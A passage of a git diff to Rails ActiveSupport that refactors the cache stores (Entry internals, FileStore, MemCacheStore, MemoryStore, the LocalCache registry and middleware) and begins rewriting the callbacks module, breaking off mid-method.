- else
- ActiveSupport::Cache.const_get(store_class_name)
- end
- store_class.new(*parameters)
+ retrieve_store_class(store).new(*parameters)
when nil
ActiveSupport::Cache::MemoryStore.new
else
@@ -74,6 +65,18 @@ module ActiveSupport
end
end
+ # Expands out the +key+ argument into a key that can be used for the
+ # cache store. Optionally accepts a namespace, and all keys will be
+ # scoped within that namespace.
+ #
+ # If the +key+ argument provided is an array, or responds to +to_a+, then
+ # each of elements in the array will be turned into parameters/keys and
+ # concatenated into a single key. For example:
+ #
+ # expand_cache_key([:foo, :bar]) # => "foo/bar"
+ # expand_cache_key([:foo, :bar], "namespace") # => "namespace/foo/bar"
+ #
+ # The +key+ argument can also respond to +cache_key+ or +to_param+.
def expand_cache_key(key, namespace = nil)
expanded_cache_key = namespace ? "#{namespace}/" : ""
@@ -86,15 +89,24 @@ module ActiveSupport
end
private
+ def retrieve_cache_key(key)
+ case
+ when key.respond_to?(:cache_key) then key.cache_key
+ when key.is_a?(Array) then key.map { |element| retrieve_cache_key(element) }.to_param
+ when key.respond_to?(:to_a) then retrieve_cache_key(key.to_a)
+ else key.to_param
+ end.to_s
+ end
- def retrieve_cache_key(key)
- case
- when key.respond_to?(:cache_key) then key.cache_key
- when key.is_a?(Array) then key.map { |element| retrieve_cache_key(element) }.to_param
- when key.respond_to?(:to_a) then retrieve_cache_key(key.to_a)
- else key.to_param
- end.to_s
- end
+ # Obtains the specified cache store class, given the name of the +store+.
+ # Raises an error when the store class cannot be found.
+ def retrieve_store_class(store)
+ require "active_support/cache/#{store}"
+ rescue LoadError => e
+ raise "Could not find cache store adapter for #{store} (#{e})"
+ else
+ ActiveSupport::Cache.const_get(store.to_s.camelize)
+ end
end
# An abstract cache store class. There are multiple cache store
@@ -141,7 +153,6 @@ module ActiveSupport
# or +write+. To specify the threshold at which to compress values, set the
# <tt>:compress_threshold</tt> option. The default threshold is 16K.
class Store
-
cattr_accessor :logger, :instance_writer => true
attr_reader :silence, :options
@@ -168,14 +179,16 @@ module ActiveSupport
@silence = previous_silence
end
- # Set to +true+ if cache stores should be instrumented.
- # Default is +false+.
+ # :deprecated:
def self.instrument=(boolean)
- Thread.current[:instrument_cache_store] = boolean
+ ActiveSupport::Deprecation.warn "ActiveSupport::Cache.instrument= is deprecated and will be removed in Rails 5. Instrumentation is now always on so you can safely stop using it."
+ true
end
+ # :deprecated:
def self.instrument
- Thread.current[:instrument_cache_store] || false
+ ActiveSupport::Deprecation.warn "ActiveSupport::Cache.instrument is deprecated and will be removed in Rails 5. Instrumentation is now always on so you can safely stop using it."
+ true
end
# Fetches data from the cache, using the given key. If there is data in
@@ -216,15 +229,15 @@ module ActiveSupport
#
# Setting <tt>:race_condition_ttl</tt> is very useful in situations where
# a cache entry is used very frequently and is under heavy load. If a
- # cache expires and due to heavy load seven different processes will try
+ # cache expires and due to heavy load several different processes will try
# to read data natively and then they all will try to write to cache. To
# avoid that case the first process to find an expired cache entry will
# bump the cache expiration time by the value set in <tt>:race_condition_ttl</tt>.
# Yes, this process is extending the time for a stale value by another few
# seconds. Because of extended life of the previous cache, other processes
- # will continue to use slightly stale data for a just a big longer. In the
+ # will continue to use slightly stale data for a just a bit longer. In the
# meantime that first process will go ahead and will write into cache the
- # new value. After that all the processes will start getting new value.
+ # new value. After that all the processes will start getting the new value.
# The key is to keep <tt>:race_condition_ttl</tt> small.
#
# If the process regenerating the entry errors out, the entry will be
@@ -276,34 +289,14 @@ module ActiveSupport
if block_given?
options = merged_options(options)
key = namespaced_key(name, options)
- unless options[:force]
- entry = instrument(:read, name, options) do |payload|
- payload[:super_operation] = :fetch if payload
- read_entry(key, options)
- end
- end
- if entry && entry.expired?
- race_ttl = options[:race_condition_ttl].to_i
- if race_ttl && (Time.now - entry.expires_at <= race_ttl)
- # When an entry has :race_condition_ttl defined, put the stale entry back into the cache
- # for a brief period while the entry is begin recalculated.
- entry.expires_at = Time.now + race_ttl
- write_entry(key, entry, :expires_in => race_ttl * 2)
- else
- delete_entry(key, options)
- end
- entry = nil
- end
+
+ cached_entry = find_cached_entry(key, name, options) unless options[:force]
+ entry = handle_expired_entry(cached_entry, key, options)
if entry
- instrument(:fetch_hit, name, options) { |payload| }
- entry.value
+ get_entry_value(entry, name, options)
else
- result = instrument(:generate, name, options) do |payload|
- yield(name)
- end
- write(name, result, options)
- result
+ save_block_result_to_cache(name, options) { |_name| yield _name }
end
else
read(name, options)
@@ -360,12 +353,40 @@ module ActiveSupport
results
end
+ # Fetches data from the cache, using the given keys. If there is data in
+ # the cache with the given keys, then that data is returned. Otherwise,
+ # the supplied block is called for each key for which there was no data,
+ # and the result will be written to the cache and returned.
+ #
+ # Options are passed to the underlying cache implementation.
+ #
+ # Returns a hash with the data for each of the names. For example:
+ #
+ # cache.write("bim", "bam")
+ # cache.fetch_multi("bim", "boom") { |key| key * 2 }
+ # # => { "bam" => "bam", "boom" => "boomboom" }
+ #
+ def fetch_multi(*names)
+ options = names.extract_options!
+ options = merged_options(options)
+ results = read_multi(*names, options)
+
+ names.each_with_object({}) do |name, memo|
+ memo[name] = results.fetch(name) do
+ value = yield name
+ write(name, value, options)
+ value
+ end
+ end
+ end
+
# Writes the value to the cache, with the key.
#
# Options are passed to the underlying cache implementation.
def write(name, value, options = nil)
options = merged_options(options)
- instrument(:write, name, options) do |payload|
+
+ instrument(:write, name, options) do
entry = Entry.new(value, options)
write_entry(namespaced_key(name, options), entry, options)
end
@@ -376,19 +397,21 @@ module ActiveSupport
# Options are passed to the underlying cache implementation.
def delete(name, options = nil)
options = merged_options(options)
- instrument(:delete, name) do |payload|
+
+ instrument(:delete, name) do
delete_entry(namespaced_key(name, options), options)
end
end
- # Return +true+ if the cache contains an entry for the given key.
+ # Returns +true+ if the cache contains an entry for the given key.
#
# Options are passed to the underlying cache implementation.
def exist?(name, options = nil)
options = merged_options(options)
- instrument(:exist?, name) do |payload|
+
+ instrument(:exist?, name) do
entry = read_entry(namespaced_key(name, options), options)
- entry && !entry.expired?
+ (entry && !entry.expired?) || false
end
end
@@ -431,7 +454,7 @@ module ActiveSupport
# Clear the entire cache. Be careful with this method since it could
# affect other processes if shared cache is being used.
#
- # Options are passed to the underlying cache implementation.
+ # The options hash is passed to the underlying cache implementation.
#
# All implementations may not support this method.
def clear(options = nil)
@@ -519,19 +542,52 @@ module ActiveSupport
def instrument(operation, key, options = nil)
log(operation, key, options)
- if self.class.instrument
- payload = { :key => key }
- payload.merge!(options) if options.is_a?(Hash)
- ActiveSupport::Notifications.instrument("cache_#{operation}.active_support", payload){ yield(payload) }
- else
- yield(nil)
- end
+ payload = { :key => key }
+ payload.merge!(options) if options.is_a?(Hash)
+ ActiveSupport::Notifications.instrument("cache_#{operation}.active_support", payload){ yield(payload) }
end
def log(operation, key, options = nil)
return unless logger && logger.debug? && !silence?
logger.debug("Cache #{operation}: #{key}#{options.blank? ? "" : " (#{options.inspect})"}")
end
+
+ def find_cached_entry(key, name, options)
+ instrument(:read, name, options) do |payload|
+ payload[:super_operation] = :fetch if payload
+ read_entry(key, options)
+ end
+ end
+
+ def handle_expired_entry(entry, key, options)
+ if entry && entry.expired?
+ race_ttl = options[:race_condition_ttl].to_i
+ if race_ttl && (Time.now.to_f - entry.expires_at <= race_ttl)
+ # When an entry has :race_condition_ttl defined, put the stale entry back into the cache
+ # for a brief period while the entry is begin recalculated.
+ entry.expires_at = Time.now + race_ttl
+ write_entry(key, entry, :expires_in => race_ttl * 2)
+ else
+ delete_entry(key, options)
+ end
+ entry = nil
+ end
+ entry
+ end
+
+ def get_entry_value(entry, name, options)
+ instrument(:fetch_hit, name, options) { |payload| }
+ entry.value
+ end
+
+ def save_block_result_to_cache(name, options)
+ result = instrument(:generate, name, options) do |payload|
+ yield(name)
+ end
+
+ write(name, result, options)
+ result
+ end
end
# This class is used to represent cache entries. Cache entries have a value and an optional
@@ -547,38 +603,39 @@ module ActiveSupport
# +:compress+, +:compress_threshold+, and +:expires_in+.
def initialize(value, options = {})
if should_compress?(value, options)
- @v = compress(value)
- @c = true
+ @value = compress(value)
+ @compressed = true
else
- @v = value
- end
- if expires_in = options[:expires_in]
- @x = (Time.now + expires_in).to_i
+ @value = value
end
+
+ @created_at = Time.now.to_f
+ @expires_in = options[:expires_in]
+ @expires_in = @expires_in.to_f if @expires_in
end
def value
- convert_version_3_entry! if defined?(@value)
- compressed? ? uncompress(@v) : @v
+ convert_version_4beta1_entry! if defined?(@v)
+ compressed? ? uncompress(@value) : @value
end
# Check if the entry is expired. The +expires_in+ parameter can override
# the value set when the entry was created.
def expired?
- convert_version_3_entry! if defined?(@value)
- if defined?(@x)
- @x && @x < Time.now.to_i
- else
- false
- end
+ convert_version_4beta1_entry! if defined?(@value)
+ @expires_in && @created_at + @expires_in <= Time.now.to_f
end
def expires_at
- Time.at(@x) if defined?(@x)
+ @expires_in ? @created_at + @expires_in : nil
end
def expires_at=(value)
- @x = value.to_i
+ if value
+ @expires_in = value.to_f - @created_at
+ else
+ @expires_in = nil
+ end
end
# Returns the size of the cached value. This could be less than
@@ -591,9 +648,9 @@ module ActiveSupport
when NilClass
0
when String
- @v.bytesize
+ @value.bytesize
else
- @s = Marshal.dump(@v).bytesize
+ @s = Marshal.dump(@value).bytesize
end
end
end
@@ -601,12 +658,13 @@ module ActiveSupport
# Duplicate the value in a class. This is used by cache implementations that don't natively
# serialize entries to protect against accidental cache modifications.
def dup_value!
- convert_version_3_entry! if defined?(@value)
- if @v && !compressed? && !(@v.is_a?(Numeric) || @v == true || @v == false)
- if @v.is_a?(String)
- @v = @v.dup
+ convert_version_4beta1_entry! if defined?(@v)
+
+ if @value && !compressed? && !(@value.is_a?(Numeric) || @value == true || @value == false)
+ if @value.is_a?(String)
+ @value = @value.dup
else
- @v = Marshal.load(Marshal.dump(@v))
+ @value = Marshal.load(Marshal.dump(@value))
end
end
end
@@ -616,13 +674,15 @@ module ActiveSupport
if value && options[:compress]
compress_threshold = options[:compress_threshold] || DEFAULT_COMPRESS_LIMIT
serialized_value_size = (value.is_a?(String) ? value : Marshal.dump(value)).bytesize
+
return true if serialized_value_size >= compress_threshold
end
+
false
end
def compressed?
- defined?(@c) ? @c : false
+ defined?(@compressed) ? @compressed : false
end
def compress(value)
@@ -635,19 +695,21 @@ module ActiveSupport
# The internals of this method changed between Rails 3.x and 4.0. This method provides the glue
# to ensure that cache entries created under the old version still work with the new class definition.
- def convert_version_3_entry!
- if defined?(@value)
- @v = @value
- remove_instance_variable(:@value)
+ def convert_version_4beta1_entry!
+ if defined?(@v)
+ @value = @v
+ remove_instance_variable(:@v)
end
- if defined?(@compressed)
- @c = @compressed
- remove_instance_variable(:@compressed)
+
+ if defined?(@c)
+ @compressed = @c
+ remove_instance_variable(:@c)
end
- if defined?(@expires_in) && defined?(@created_at) && @expires_in && @created_at
- @x = (@created_at + @expires_in).to_i
- remove_instance_variable(:@created_at)
- remove_instance_variable(:@expires_in)
+
+ if defined?(@x) && @x
+ @created_at ||= Time.now.to_f
+ @expires_in = @x - @created_at
+ remove_instance_variable(:@x)
end
end
end
diff --git a/activesupport/lib/active_support/cache/file_store.rb b/activesupport/lib/active_support/cache/file_store.rb
index 8e265ad863..d08ecd2f7d 100644
--- a/activesupport/lib/active_support/cache/file_store.rb
+++ b/activesupport/lib/active_support/cache/file_store.rb
@@ -14,6 +14,7 @@ module ActiveSupport
DIR_FORMATTER = "%03X"
FILENAME_MAX_SIZE = 228 # max filename size on file system is 255, minus room for timestamp and random characters appended by Tempfile (used by atomic write)
+ FILEPATH_MAX_SIZE = 900 # max is 1024, plus some room
EXCLUDED_DIRS = ['.', '..'].freeze
def initialize(cache_path, options = nil)
@@ -22,45 +23,34 @@ module ActiveSupport
extend Strategy::LocalCache
end
+ # Deletes all items from the cache. In this case it deletes all the entries in the specified
+ # file store directory except for .gitkeep. Be careful which directory is specified in your
+ # config file when using +FileStore+ because everything in that directory will be deleted.
def clear(options = nil)
root_dirs = Dir.entries(cache_path).reject {|f| (EXCLUDED_DIRS + [".gitkeep"]).include?(f)}
FileUtils.rm_r(root_dirs.collect{|f| File.join(cache_path, f)})
end
+ # Preemptively iterates through all stored keys and removes the ones which have expired.
def cleanup(options = nil)
options = merged_options(options)
- each_key(options) do |key|
+ search_dir(cache_path) do |fname|
+ key = file_path_key(fname)
entry = read_entry(key, options)
delete_entry(key, options) if entry && entry.expired?
end
end
+ # Increments an already existing integer value that is stored in the cache.
+ # If the key is not found nothing is done.
def increment(name, amount = 1, options = nil)
- file_name = key_file_path(namespaced_key(name, options))
- lock_file(file_name) do
- options = merged_options(options)
- if num = read(name, options)
- num = num.to_i + amount
- write(name, num, options)
- num
- else
- nil
- end
- end
+ modify_value(name, amount, options)
end
+ # Decrements an already existing integer value that is stored in the cache.
+ # If the key is not found nothing is done.
def decrement(name, amount = 1, options = nil)
- file_name = key_file_path(namespaced_key(name, options))
- lock_file(file_name) do
- options = merged_options(options)
- if num = read(name, options)
- num = num.to_i - amount
- write(name, num, options)
- num
- else
- nil
- end
- end
+ modify_value(name, -amount, options)
end
def delete_matched(matcher, options = nil)
@@ -88,6 +78,7 @@ module ActiveSupport
def write_entry(key, entry, options)
file_name = key_file_path(key)
+ return false if options[:unless_exist] && File.exist?(file_name)
ensure_cache_path(File.dirname(file_name))
File.atomic_write(file_name, cache_path) {|f| Marshal.dump(entry, f)}
true
@@ -127,6 +118,10 @@ module ActiveSupport
# Translate a key into a file path.
def key_file_path(key)
+ if key.size > FILEPATH_MAX_SIZE
+ key = Digest::MD5.hexdigest(key)
+ end
+
fname = URI.encode_www_form_component(key)
hash = Zlib.adler32(fname)
hash, dir_1 = hash.divmod(0x1000)
@@ -150,9 +145,9 @@ module ActiveSupport
# Delete empty directories in the cache.
def delete_empty_directories(dir)
- return if dir == cache_path
+ return if File.realpath(dir) == File.realpath(cache_path)
if Dir.entries(dir).reject {|f| EXCLUDED_DIRS.include?(f)}.empty?
- File.delete(dir) rescue nil
+ Dir.delete(dir) rescue nil
delete_empty_directories(File.dirname(dir))
end
end
@@ -174,6 +169,22 @@ module ActiveSupport
end
end
end
+
+ # Modifies the amount of an already existing integer value that is stored in the cache.
+ # If the key is not found nothing is done.
+ def modify_value(name, amount, options)
+ file_name = key_file_path(namespaced_key(name, options))
+
+ lock_file(file_name) do
+ options = merged_options(options)
+
+ if num = read(name, options)
+ num = num.to_i + amount
+ write(name, num, options)
+ num
+ end
+ end
+ end
end
end
end
diff --git a/activesupport/lib/active_support/cache/mem_cache_store.rb b/activesupport/lib/active_support/cache/mem_cache_store.rb
index 712db2c75a..61b4f0b8b0 100644
--- a/activesupport/lib/active_support/cache/mem_cache_store.rb
+++ b/activesupport/lib/active_support/cache/mem_cache_store.rb
@@ -7,6 +7,7 @@ end
require 'digest/md5'
require 'active_support/core_ext/marshal'
+require 'active_support/core_ext/array/extract_options'
module ActiveSupport
module Cache
@@ -40,17 +41,15 @@ module ActiveSupport
#
# If no addresses are specified, then MemCacheStore will connect to
# localhost port 11211 (the default memcached port).
- #
- # Instead of addresses one can pass in a MemCache-like object. For example:
- #
- # require 'memcached' # gem install memcached; uses C bindings to libmemcached
- # ActiveSupport::Cache::MemCacheStore.new(Memcached::Rails.new("localhost:11211"))
def initialize(*addresses)
addresses = addresses.flatten
options = addresses.extract_options!
super(options)
- if addresses.first.respond_to?(:get)
+ unless [String, Dalli::Client, NilClass].include?(addresses.first.class)
+ raise ArgumentError, "First argument must be an empty array, an array of hosts or a Dalli::Client instance."
+ end
+ if addresses.first.is_a?(Dalli::Client)
@data = addresses.first
else
mem_cache_options = options.dup
@@ -86,7 +85,7 @@ module ActiveSupport
instrument(:increment, name, :amount => amount) do
@data.incr(escape_key(namespaced_key(name, options)), amount)
end
- rescue Dalli::DalliError
+ rescue Dalli::DalliError => e
logger.error("DalliError (#{e}): #{e.message}") if logger
nil
end
@@ -100,7 +99,7 @@ module ActiveSupport
instrument(:decrement, name, :amount => amount) do
@data.decr(escape_key(namespaced_key(name, options)), amount)
end
- rescue Dalli::DalliError
+ rescue Dalli::DalliError => e
logger.error("DalliError (#{e}): #{e.message}") if logger
nil
end
@@ -158,7 +157,7 @@ module ActiveSupport
# characters properly.
def escape_key(key)
key = key.to_s.dup
- key = key.force_encoding("BINARY")
+ key = key.force_encoding(Encoding::ASCII_8BIT)
key = key.gsub(ESCAPE_KEY_CHARS){ |match| "%#{match.getbyte(0).to_s(16).upcase}" }
key = "#{key[0, 213]}:md5:#{Digest::MD5.hexdigest(key)}" if key.size > 250
key
diff --git a/activesupport/lib/active_support/cache/memory_store.rb b/activesupport/lib/active_support/cache/memory_store.rb
index 4d26fb7e42..8a0523d0e2 100644
--- a/activesupport/lib/active_support/cache/memory_store.rb
+++ b/activesupport/lib/active_support/cache/memory_store.rb
@@ -36,6 +36,7 @@ module ActiveSupport
end
end
+ # Preemptively iterates through all stored keys and removes the ones which have expired.
def cleanup(options = nil)
options = merged_options(options)
instrument(:cleanup, :size => @data.size) do
@@ -122,6 +123,13 @@ module ActiveSupport
end
protected
+
+ PER_ENTRY_OVERHEAD = 240
+
+ def cached_size(key, entry)
+ key.to_s.bytesize + entry.size + PER_ENTRY_OVERHEAD
+ end
+
def read_entry(key, options) # :nodoc:
entry = @data[key]
synchronize do
@@ -139,8 +147,11 @@ module ActiveSupport
synchronize do
old_entry = @data[key]
return false if @data.key?(key) && options[:unless_exist]
- @cache_size -= old_entry.size if old_entry
- @cache_size += entry.size
+ if old_entry
+ @cache_size -= (old_entry.size - entry.size)
+ else
+ @cache_size += cached_size(key, entry)
+ end
@key_access[key] = Time.now.to_f
@data[key] = entry
prune(@max_size * 0.75, @max_prune_time) if @cache_size > @max_size
@@ -152,7 +163,7 @@ module ActiveSupport
synchronize do
@key_access.delete(key)
entry = @data.delete(key)
- @cache_size -= entry.size if entry
+ @cache_size -= cached_size(key, entry) if entry
!!entry
end
end
diff --git a/activesupport/lib/active_support/cache/strategy/local_cache.rb b/activesupport/lib/active_support/cache/strategy/local_cache.rb
index db5f228a70..73c6b3cb88 100644
--- a/activesupport/lib/active_support/cache/strategy/local_cache.rb
+++ b/activesupport/lib/active_support/cache/strategy/local_cache.rb
@@ -1,5 +1,6 @@
require 'active_support/core_ext/object/duplicable'
require 'active_support/core_ext/string/inflections'
+require 'active_support/per_thread_registry'
module ActiveSupport
module Cache
@@ -8,6 +9,28 @@ module ActiveSupport
# duration of a block. Repeated calls to the cache for the same key will hit the
# in-memory cache for faster access.
module LocalCache
+ autoload :Middleware, 'active_support/cache/strategy/local_cache_middleware'
+
+ # Class for storing and registering the local caches.
+ class LocalCacheRegistry # :nodoc:
+ extend ActiveSupport::PerThreadRegistry
+
+ def initialize
+ @registry = {}
+ end
+
+ def cache_for(local_cache_key)
+ @registry[local_cache_key]
+ end
+
+ def set_cache_for(local_cache_key, value)
+ @registry[local_cache_key] = value
+ end
+
+ def self.set_cache_for(l, v); instance.set_cache_for l, v; end
+ def self.cache_for(l); instance.cache_for l; end
+ end
+
# Simple memory backed cache. This cache is not thread safe and is intended only
# for serving as a temporary memory cache for a single thread.
class LocalStore < Store
@@ -41,46 +64,14 @@ module ActiveSupport
# Use a local cache for the duration of block.
def with_local_cache
- save_val = Thread.current[thread_local_key]
- begin
- Thread.current[thread_local_key] = LocalStore.new
- yield
- ensure
- Thread.current[thread_local_key] = save_val
- end
- end
-
- #--
- # This class wraps up local storage for middlewares. Only the middleware method should
- # construct them.
- class Middleware # :nodoc:
- attr_reader :name, :thread_local_key
-
- def initialize(name, thread_local_key)
- @name = name
- @thread_local_key = thread_local_key
- @app = nil
- end
-
- def new(app)
- @app = app
- self
- end
-
- def call(env)
- Thread.current[thread_local_key] = LocalStore.new
- @app.call(env)
- ensure
- Thread.current[thread_local_key] = nil
- end
+ use_temporary_local_cache(LocalStore.new) { yield }
end
-
# Middleware class can be inserted as a Rack handler to be local cache for the
# duration of request.
def middleware
@middleware ||= Middleware.new(
"ActiveSupport::Cache::Strategy::LocalCache",
- thread_local_key)
+ local_cache_key)
end
def clear(options = nil) # :nodoc:
@@ -95,29 +86,13 @@ module ActiveSupport
def increment(name, amount = 1, options = nil) # :nodoc:
value = bypass_local_cache{super}
- if local_cache
- local_cache.mute do
- if value
- local_cache.write(name, value, options)
- else
- local_cache.delete(name, options)
- end
- end
- end
+ set_cache_value(value, name, amount, options)
value
end
def decrement(name, amount = 1, options = nil) # :nodoc:
value = bypass_local_cache{super}
- if local_cache
- local_cache.mute do
- if value
- local_cache.write(name, value, options)
- else
- local_cache.delete(name, options)
- end
- end
- end
+ set_cache_value(value, name, amount, options)
value
end
@@ -145,22 +120,39 @@ module ActiveSupport
super
end
+ def set_cache_value(value, name, amount, options)
+ if local_cache
+ local_cache.mute do
+ if value
+ local_cache.write(name, value, options)
+ else
+ local_cache.delete(name, options)
+ end
+ end
+ end
+ end
+
private
- def thread_local_key
- @thread_local_key ||= "#{self.class.name.underscore}_local_cache_#{object_id}".gsub(/[\/-]/, '_').to_sym
+
+ def local_cache_key
+ @local_cache_key ||= "#{self.class.name.underscore}_local_cache_#{object_id}".gsub(/[\/-]/, '_').to_sym
end
def local_cache
- Thread.current[thread_local_key]
+ LocalCacheRegistry.cache_for(local_cache_key)
end
def bypass_local_cache
- save_cache = Thread.current[thread_local_key]
+ use_temporary_local_cache(nil) { yield }
+ end
+
+ def use_temporary_local_cache(temporary_cache)
+ save_cache = LocalCacheRegistry.cache_for(local_cache_key)
begin
- Thread.current[thread_local_key] = nil
+ LocalCacheRegistry.set_cache_for(local_cache_key, temporary_cache)
yield
ensure
- Thread.current[thread_local_key] = save_cache
+ LocalCacheRegistry.set_cache_for(local_cache_key, save_cache)
end
end
end
diff --git a/activesupport/lib/active_support/cache/strategy/local_cache_middleware.rb b/activesupport/lib/active_support/cache/strategy/local_cache_middleware.rb
new file mode 100644
index 0000000000..a6f24b1a3c
--- /dev/null
+++ b/activesupport/lib/active_support/cache/strategy/local_cache_middleware.rb
@@ -0,0 +1,44 @@
+require 'rack/body_proxy'
+require 'rack/utils'
+
+module ActiveSupport
+ module Cache
+ module Strategy
+ module LocalCache
+
+ #--
+ # This class wraps up local storage for middlewares. Only the middleware method should
+ # construct them.
+ class Middleware # :nodoc:
+ attr_reader :name, :local_cache_key
+
+ def initialize(name, local_cache_key)
+ @name = name
+ @local_cache_key = local_cache_key
+ @app = nil
+ end
+
+ def new(app)
+ @app = app
+ self
+ end
+
+ def call(env)
+ LocalCacheRegistry.set_cache_for(local_cache_key, LocalStore.new)
+ response = @app.call(env)
+ response[2] = ::Rack::BodyProxy.new(response[2]) do
+ LocalCacheRegistry.set_cache_for(local_cache_key, nil)
+ end
+ response
+ rescue Rack::Utils::InvalidParameterError
+ LocalCacheRegistry.set_cache_for(local_cache_key, nil)
+ [400, {}, []]
+ rescue Exception
+ LocalCacheRegistry.set_cache_for(local_cache_key, nil)
+ raise
+ end
+ end
+ end
+ end
+ end
+end
diff --git a/activesupport/lib/active_support/callbacks.rb b/activesupport/lib/active_support/callbacks.rb
index 3a8353857e..24c702b602 100644
--- a/activesupport/lib/active_support/callbacks.rb
+++ b/activesupport/lib/active_support/callbacks.rb
@@ -1,18 +1,20 @@
require 'active_support/concern'
require 'active_support/descendants_tracker'
+require 'active_support/core_ext/array/extract_options'
require 'active_support/core_ext/class/attribute'
require 'active_support/core_ext/kernel/reporting'
require 'active_support/core_ext/kernel/singleton_class'
+require 'thread'
module ActiveSupport
- # Callbacks are code hooks that are run at key points in an object's lifecycle.
+ # Callbacks are code hooks that are run at key points in an object's life cycle.
# The typical use case is to have a base class define a set of callbacks
# relevant to the other functionality it supplies, so that subclasses can
# install callbacks that enhance or modify the base functionality without
# needing to override or redefine methods of the base class.
#
# Mixing in this module allows you to define the events in the object's
- # lifecycle that will support callbacks (via +ClassMethods.define_callbacks+),
+ # life cycle that will support callbacks (via +ClassMethods.define_callbacks+),
# set the instance methods, procs, or callback objects to be called (via
# +ClassMethods.set_callback+), and run the installed callbacks at the
# appropriate times (via +run_callbacks+).
@@ -60,6 +62,8 @@ module ActiveSupport
extend ActiveSupport::DescendantsTracker
end
+ CALLBACK_FILTER_TYPES = [:before, :after, :around]
+
# Runs the callbacks for the given event.
#
# Calls the before and around callbacks in the order they were set, yields
@@ -67,305 +71,497 @@ module ActiveSupport
# order.
#
# If the callback chain was halted, returns +false+. Otherwise returns the
- # result of the block, or +true+ if no block is given.
+ # result of the block, +nil+ if no callbacks have been set, or +true+
+ # if callbacks have been set but no block is given.
#
# run_callbacks :save do
# save
# end
def run_callbacks(kind, &block)
- runner_name = self.class.__define_callbacks(kind, self)
- send(runner_name, &block)
+ send "_run_#{kind}_callbacks", &block
end
private
- # A hook invoked everytime a before callback is halted.
+ def _run_callbacks(callbacks, &block)
+ if callbacks.empty?
+ block.call if block
+ else
+ runner = callbacks.compile
+ e = Filters::Environment.new(self, false, nil, block)
+ runner.call(e).value
+ end
+ end
+
+ # A hook invoked every time a before callback is halted.
# This can be overridden in AS::Callback implementors in order
# to provide better debugging/logging.
def halted_callback_hook(filter)
end
- class Callback #:nodoc:#
- @@_callback_sequence = 0
-
- attr_accessor :chain, :filter, :kind, :options, :klass, :raw_filter
+ module Conditionals # :nodoc:
+ class Value
+ def initialize(&block)
+ @block = block
+ end
+ def call(target, value); @block.call(value); end
+ end
+ end
- def initialize(chain, filter, kind, options, klass)
- @chain, @kind, @klass = chain, kind, klass
- deprecate_per_key_option(options)
- normalize_options!(options)
+ module Filters
+ Environment = Struct.new(:target, :halted, :value, :run_block)
- @raw_filter, @options = filter, options
- @filter = _compile_filter(filter)
- recompile_options!
+ class End
+ def call(env)
+ block = env.run_block
+ env.value = !env.halted && (!block || block.call)
+ env
+ end
end
+ ENDING = End.new
+
+ class Before
+ def self.build(next_callback, user_callback, user_conditions, chain_config, filter)
+ halted_lambda = chain_config[:terminator]
+
+ if chain_config.key?(:terminator) && user_conditions.any?
+ halting_and_conditional(next_callback, user_callback, user_conditions, halted_lambda, filter)
+ elsif chain_config.key? :terminator
+ halting(next_callback, user_callback, halted_lambda, filter)
+ elsif user_conditions.any?
+ conditional(next_callback, user_callback, user_conditions)
+ else
+ simple next_callback, user_callback
+ end
+ end
- def deprecate_per_key_option(options)
- if options[:per_key]
- raise NotImplementedError, ":per_key option is no longer supported. Use generic :if and :unless options instead."
+ def self.halting_and_conditional(next_callback, user_callback, user_conditions, halted_lambda, filter)
+ lambda { |env|
+ target = env.target
+ value = env.value
+ halted = env.halted
+
+ if !halted && user_conditions.all? { |c| c.call(target, value) }
+ result = user_callback.call target, value
+ env.halted = halted_lambda.call(target, result)
+ if env.halted
+ target.send :halted_callback_hook, filter
+ end
+ end
+ next_callback.call env
+ }
end
- end
+ private_class_method :halting_and_conditional
+
+ def self.halting(next_callback, user_callback, halted_lambda, filter)
+ lambda { |env|
+ target = env.target
+ value = env.value
+ halted = env.halted
+
+ unless halted
+ result = user_callback.call target, value
+ env.halted = halted_lambda.call(target, result)
+ if env.halted
+ target.send :halted_callback_hook, filter
+ end
+ end
+ next_callback.call env
+ }
+ end
+ private_class_method :halting
+
+ def self.conditional(next_callback, user_callback, user_conditions)
+ lambda { |env|
+ target = env.target
+ value = env.value
+
+ if user_conditions.all? { |c| c.call(target, value) }
+ user_callback.call target, value
+ end
+ next_callback.call env
+ }
+ end
+ private_class_method :conditional
- def clone(chain, klass)
- obj = super()
- obj.chain = chain
- obj.klass = klass
- obj.options = @options.dup
- obj.options[:if] = @options[:if].dup
- obj.options[:unless] = @options[:unless].dup
- obj
+ def self.simple(next_callback, user_callback)
+ lambda { |env|
+ user_callback.call env.target, env.value
+ next_callback.call env
+ }
+ end
+ private_class_method :simple
end
- def normalize_options!(options)
- options[:if] = Array(options[:if])
- options[:unless] = Array(options[:unless])
+ class After
+ def self.build(next_callback, user_callback, user_conditions, chain_config)
+ if chain_config[:skip_after_callbacks_if_terminated]
+ if chain_config.key?(:terminator) && user_conditions.any?
+ halting_and_conditional(next_callback, user_callback, user_conditions)
+ elsif chain_config.key?(:terminator)
+ halting(next_callback, user_callback)
+ elsif user_conditions.any?
+ conditional next_callback, user_callback, user_conditions
+ else
+ simple next_callback, user_callback
+ end
+ else
+ if user_conditions.any?
+ conditional next_callback, user_callback, user_conditions
+ else
+ simple next_callback, user_callback
+ end
+ end
+ end
+
+ def self.halting_and_conditional(next_callback, user_callback, user_conditions)
+ lambda { |env|
+ env = next_callback.call env
+ target = env.target
+ value = env.value
+ halted = env.halted
+
+ if !halted && user_conditions.all? { |c| c.call(target, value) }
+ user_callback.call target, value
+ end
+ env
+ }
+ end
+ private_class_method :halting_and_conditional
+
+ def self.halting(next_callback, user_callback)
+ lambda { |env|
+ env = next_callback.call env
+ unless env.halted
+ user_callback.call env.target, env.value
+ end
+ env
+ }
+ end
+ private_class_method :halting
+
+ def self.conditional(next_callback, user_callback, user_conditions)
+ lambda { |env|
+ env = next_callback.call env
+ target = env.target
+ value = env.value
+
+ if user_conditions.all? { |c| c.call(target, value) }
+ user_callback.call target, value
+ end
+ env
+ }
+ end
+ private_class_method :conditional
+
+ def self.simple(next_callback, user_callback)
+ lambda { |env|
+ env = next_callback.call env
+ user_callback.call env.target, env.value
+ env
+ }
+ end
+ private_class_method :simple
end
- def name
- chain.name
+ class Around
+ def self.build(next_callback, user_callback, user_conditions, chain_config)
+ if chain_config.key?(:terminator) && user_conditions.any?
+ halting_and_conditional(next_callback, user_callback, user_conditions)
+ elsif chain_config.key? :terminator
+ halting(next_callback, user_callback)
+ elsif user_conditions.any?
+ conditional(next_callback, user_callback, user_conditions)
+ else
+ simple(next_callback, user_callback)
+ end
+ end
+
+ def self.halting_and_conditional(next_callback, user_callback, user_conditions)
+ lambda { |env|
